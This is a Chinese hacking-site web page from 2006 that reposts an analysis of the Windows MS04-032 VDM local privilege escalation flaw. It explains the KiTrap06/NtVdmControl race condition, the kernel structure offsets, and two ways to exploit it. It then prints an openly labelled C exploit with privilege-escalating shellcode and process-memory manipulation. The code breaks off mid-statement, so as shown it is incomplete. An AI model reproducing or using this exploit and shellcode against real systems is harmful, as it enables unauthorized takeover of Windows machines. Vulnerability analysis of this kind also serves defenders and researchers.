|
|
| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | | ||||
|
|
||||||||
|
||||||||
|
|||||
| MS04-032漏洞分析 | |||||
作者:未知 文章来源:CnXHacker.Net 点击数: 更新时间:2006-3-22 ![]() |
|||||
|
信息来源:Whitecell技术论坛(www.whitecell.com) 文章作者:SoBeIT 这个漏洞发生于内核处理VDM(Virtual DOS Maching)的过程中。VDM是微软为了兼容老式的16位MS-DOS程序而存在于Windows中的一个子系统,运行于V86模式下,模拟16位实模式环境。它由三个主要部分组成: 1、提供DOS环境模拟的代码,包括在系统目录下的ntdos*.sys和ntio*.sys等文件,并向虚拟机监控进程提交请求; 2、一个是在用户态的虚拟机监控进程ntvdm.exe,负责处理虚拟机里的绝大多数事件; 3、一个是内核(ntoskrnl.exe)中的部分,包括由控制进程调用的系统调用接口NtVdmControl及下层具体实现功能代码,负责DOS程序的初始化、执行、查询和延迟中断、查询文件等。和两个异常处理程序:第0x6号无效操作码异常处理程序和第0xd号一般保护错误异常处理程序,前者负责响应DOS环境模拟代码的请求并分派到监控进程中,后者处理DOS程序中的直接IN/OUT的IO,并分派到控制进程中。但有少数例外,就是DOS模拟代码提交的FastRead和FastWrite请求并不分派到控制进程中,而是由内核直接完成。 NtVdmControl函数的调用参数为VdmStartExecution,也就是0时,就会向V86模式切换。通过调用VdmpStartExecution函数把要执行的V86代码的环境改写内核堆栈中的TrapFrame结构,这样在系统调用KiSystemService返回时并不会返回到NtVdmControl函数里,而是切换进了V86模式。 DOS环境模拟代码通过一串无效的操作码\xc4\xc4\xXX\xXX,微软称为“BOP”,来传递请求到VDM进程里。传递过程由内核的第6号中断,也就是处理无效操作码的异常处理程序KiTrap06来完成。通过判断引发异常的操作码为“BOP”,内核会分派到虚拟机监控进程ntvdm.exe中。 漏洞发生于异常处理程序KiTrap06分派运行于V86下的代码产生的“BOP”到监控进程ntvdm.exe的过程中。内核处理虚拟机控制的系统调用NtVdmControl的过程中,会把当前系统环境保存在ntvdm.exe的地址空间中保存线程信息的VDM_TIB结构中的CONTEXT结构里。该结构在Windows2000下位于EPROCESS(ntvdm.exe)->VdmObjects->VmTib->MonitorContext,也就是*(*(*(EPROCESS+0x1dc)+0x98)+0xa04),在其它Windows NT系列里位于fs:[0xf18]->MonitorContext,也就是(*(fs:[0xf18])+0xa04)。当“BOP”发生后,就会取出CONTEXT结构里保存的环境,返回到NtVdmControl函数,最后回到ntvdm.exe的用户态部分进行处理。但是因为任何进程都可以读写ntvdm.exe进程地址空间中保存的CONTEXT结构中的数据,而KiTrap06并未验证环境结构的有效性,导致可以修改保存在CONTEXT结构里的返回地址和代码段选择子,进而在内核态执行用户态提供的代码来进行本地提升权限。 但是该漏洞的触发有点类似竞争条件,也就是NtVdmControl系统调用会修改保存的系统环境为正常值,而KiTrap06会取出环境并返回。所以必须在NtVdmControl之后KiTrap06之前修改系统环境。而NtVdmControl与KiTrap06的发生并不对等,所以这也就是利用难点。 为了利用该漏洞,一种方法是暴力法,就是通过建立多个线程,每个线程都以最小间隔时间向该CONTEXT结构不断进行写入,并且降低ntvdm.exe的优先级以加大执行间隔,来保证改写CONTEXT结构在KiTrap06之前。但是因为前面说过的NtVdmControl改写该CONTEXT结构与触发“BOP”的KiTrap06不是对等的,正常时常常是N:1的关系,前者发生了N次后者才发生一次。这样系统的负载对exploit是否成功有很大的影响,也就是成功率并不算太高。 但是,如果当KiTrap06的发生频率非常高时,exploit的成功率就能接近100%,如何提高KiTrap06的发生率,就是人为让V86虚拟机产生“BOP”。“BOP”在V86模式下才能触发,而进入V86模式就必须修改EFLAGS的VM位,该位只能在RING0下设置。但我们可以一个曲线的方法,ntvdm.exe的用户态地址空间中的VDM_TIB结构中还有另一个CONTEXT结构可以修改,就是EPROCESS->VdmObjects->VdmTib->Context,也就是*(*(*(EPROCESS+0x1dc)+0x98)+0xcd0),该结构中保存的是运行于V86模式下的代码的环境,修改它所保存的环境为一个“BOP”的地址。因为实模式下的寻址空间是1M,所以前面说的模拟DOS环境的代码都映射在了整个进程地址空间的开头。从0开始找,肯定能找到大量的“BOP”,只要不是FastRead和FastWrite的“BOP”,都满足条件。然后修改ntvdm.exe主线程的EIP,让它反复NtVmdContrl(StartExecution),就会不停切换进V86模式产生“BOP”,并触发KiTrap06,这时候保存V86模式环境的CONTEXT结构根本不会被改动,因为V86虚拟机除了反复在同一个地址“BOP”外啥都不能干。所以这时启动的暴力修改线程只要反复修改CONTEXT结构,基本都会成功。 但是,除了暴力法外其实有个更加简单的方法,就是让监控进程ntvdm.exe的主线程直接执行ZwContinue函数切换进V86模式,并设置ZwContinue函数的参数PCONTEXT结构指针里的CS:EIP为一个“BOP”的地址即可。通过暂停该进程修改它的CONTEXT结构,这样主线程恢复执行后就会切换进V86模式执行“BOP”触发异常执行到KiTrap06,NtVdmControl函数没有被调用的机会,MonitorContext结构内容也就不会被修改,可以直接执行到提升权限的代码里。具体的可以参见上一段暴力法的实现。 exploit CODE: /* MS04-032 Windows VDM #UD Local Privilege Escalation Vulnerability Exploit Created by SoBeIt Main file of exploit Tested on: Windows 2000 PRO SP4 Chinese Windows 2000 PRO SP4 English Usage:ms04-032.exe */ #include <stdio.h> #include <windows.h> unsigned char kfunctions[64][64] = { //ntoskrnl.exe {"ZwOpenProcess"}, {"ZwTerminateProcess"}, {""}, }; unsigned char shellcode[] = "\x90\xe9\xff\x00\x00\x00\x5f\x4f\x47\x33\xc0\x66\x81\x3f\x90\xcc" "\x75\xf6\x40\x40\x66\x81\x3c\x07\xcc\x90\x75\xec\x83\xc7\x04\xbe" "\x38\xf0\xdf\xff\x8b\x36\xad\xad\x48\x81\x38\x4d\x5a\x90\x00\x75" "\xf7\x95\x8b\xf7\x6a\x02\x59\xe8\x84\x00\x00\x00\xe2\xf9\xbb\x24" "\xf1\xdf\xff\x8b\x1b\x8b\x43\x44\xb9\x08\x00\x00\x00\xe8\x5a\x00" "\x00\x00\x8b\xd0\x8b\x4e\x08\xe8\x50\x00\x00\x00\x8b\x88\xc8\x01" "\x00\x00\xe8\x45\x00\x00\x00\x8b\x8a\x2c\x01\x00\x00\x89\x88\x2c" "\x01\x00\x00\x83\xec\x40\x8b\xec\x33\xc0\x8b\xfc\x6a\x10\x59\xab" "\xe2\xfd\x8b\x46\x08\x89\x44\x24\x10\x8d\x5d\x10\x53\x8d\x5d\x20" "\x53\x68\xff\x0f\x1f\x00\x8d\x5d\x00\x53\xff\x16\x8b\x5d\x00\x6a" "\x00\x53\xff\x56\x04\x33\xc0\x50\x50\xff\x56\x04\x8b\x80\xa0\x00" "\x00\x00\x2d\xa0\x00\x00\x00\x39\x88\x9c\x00\x00\x00\x75\xed\xc3" "\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56\x8b\x76\x20\x03" "\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe\x10\x85\xd2\x74" "\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1\x3b\x1f\x75\xe7\x5e\x8b\x5e" "\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd\x8b\x04\x8b\x03" "\xc5\xab\x5e\x59\xc3\xe8\xfc\xfe\xff\xff\x90\x90\x90\x90\x90\x90" "\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc"; unsigned char IntoV86[] = "\x90\x6a\x00\x68\x90\x90\x90\x90\x8b\xd4\xb8\x1c\x00\x00\x00\xcd" "\x2e\x83\xc4\x08\xeb\xea"; VOID ErrorQuit(char *msg) { printf("%s\n", msg); ExitProcess(0); } ULONG ComputeHash(char *ch) { ULONG ret = 0; while(*ch) { ret = ((ret << 25) | (ret >> 7)) + *ch++; } return ret; } int main(int argc, char *argv[]) { HANDLE hFile, hFileMap; ULONG FileSize, ImageSize, i, j, k; PVOID pBase, pHeader; PULONG pImageBase, pShellcode, pTemp; char *pBuffer, *pReadBuffer, *pWriteBuffer; STARTUPINFO si; PROCESS_INFORMATION pi; ULONG buf[20]; CONTEXT Context; PCONTEXT pV86Context; PUCHAR ptr; printf("\n MS04-032 Windows VDM #UD Local Privilege Escalation Vulnerability Exploit \n\n"); printf("\t Create by SoBeIt. \n\n"); if(argc != 1) { printf(" Usage:%s \n\n", argv[0]); ExitProcess(0); } ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); pBuffer = malloc(64); pReadBuffer = malloc(64); pWriteBuffer = malloc(64); if((pBuffer == NULL) || (pReadBuffer == NULL) || (pWriteBuffer == NULL)) ErrorQuit("malloc failed.\n"); if(!GetSystemDirectory(pBuffer, 256)) ErrorQuit("GetSystemDirectory failed.\n"); strcat(pBuffer, "\\ntvdm.exe"); hFile = CreateFile(pBuffer, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile == INVALID_HANDLE_VALUE) ErrorQuit("CreateFile failed.\n"); if((FileSize = GetFileSize(hFile, NULL)) == 0xffffffff) ErrorQuit("GetFileSize failed.\n"); if((hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, FileSize + sizeof(char), NULL)) == NULL) ErrorQuit("CreateFileMapping failed.\n"); if((pBase = MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, 0)) == NULL) ErrorQuit("MapViewOfFile failed.\n"); pHeader = (char *)pBase + ((PIMAGE_DOS_HEADER)pBase)->e_lfanew; pImageBase = (PULONG)(((PIMAGE_NT_HEADERS)pHeader)->OptionalHeader.ImageBase); ImageSize = ((PIMAGE_NT_HEADERS)pHeader)->OptionalHeader.SizeOfImage; UnmapViewOfFile(pBase); CloseHandle(hFileMap); CloseHandle(hFile); if(!CreateProcess(NULL, "command.com", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) ErrorQuit("CreateProcess failed.\n"); Sleep(100); for(i = 0; i < ImageSize; i++) { if(!ReadProcessMemory(pi.hProcess, pImageBase + i, pReadBuffer, 12, NULL)) continue; pTemp = (PULONG)pReadBuffer; if(((*pTemp++) >> 28) != 0x7) continue; if(*pTemp++ != 0x |
|||||
| 文章录入:IceRiver 责任编辑:IceRiver | |||||
| 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 | |||||
| 最新热点 | 最新推荐 | 相关文章 | ||
| MSN视频暗藏杀机 微软补丁忙 MSSQL数据库SA权限入侵的感悟 MSN Space大赛官方网站入侵经 瑞星公司09月04日发布 每日计 Thomson SpeedTouch 2030 SI “MSN性感相册”病毒变种多达 机构数据: QQ市场占有率为M 微软携安全厂商建统一战线 M QQ和MSN成传播病毒重要渠道 通过MSN传播的IRCBot msnmsg |
网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!) |
| 关于我们 - 版权声明 - 帮助(?) - 广告服务 - 联系我们 - 友情链接 - 用户注册 - | Powered by ICE RIVER - STUDIO |
| » CnXHacker.CoM | © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved. |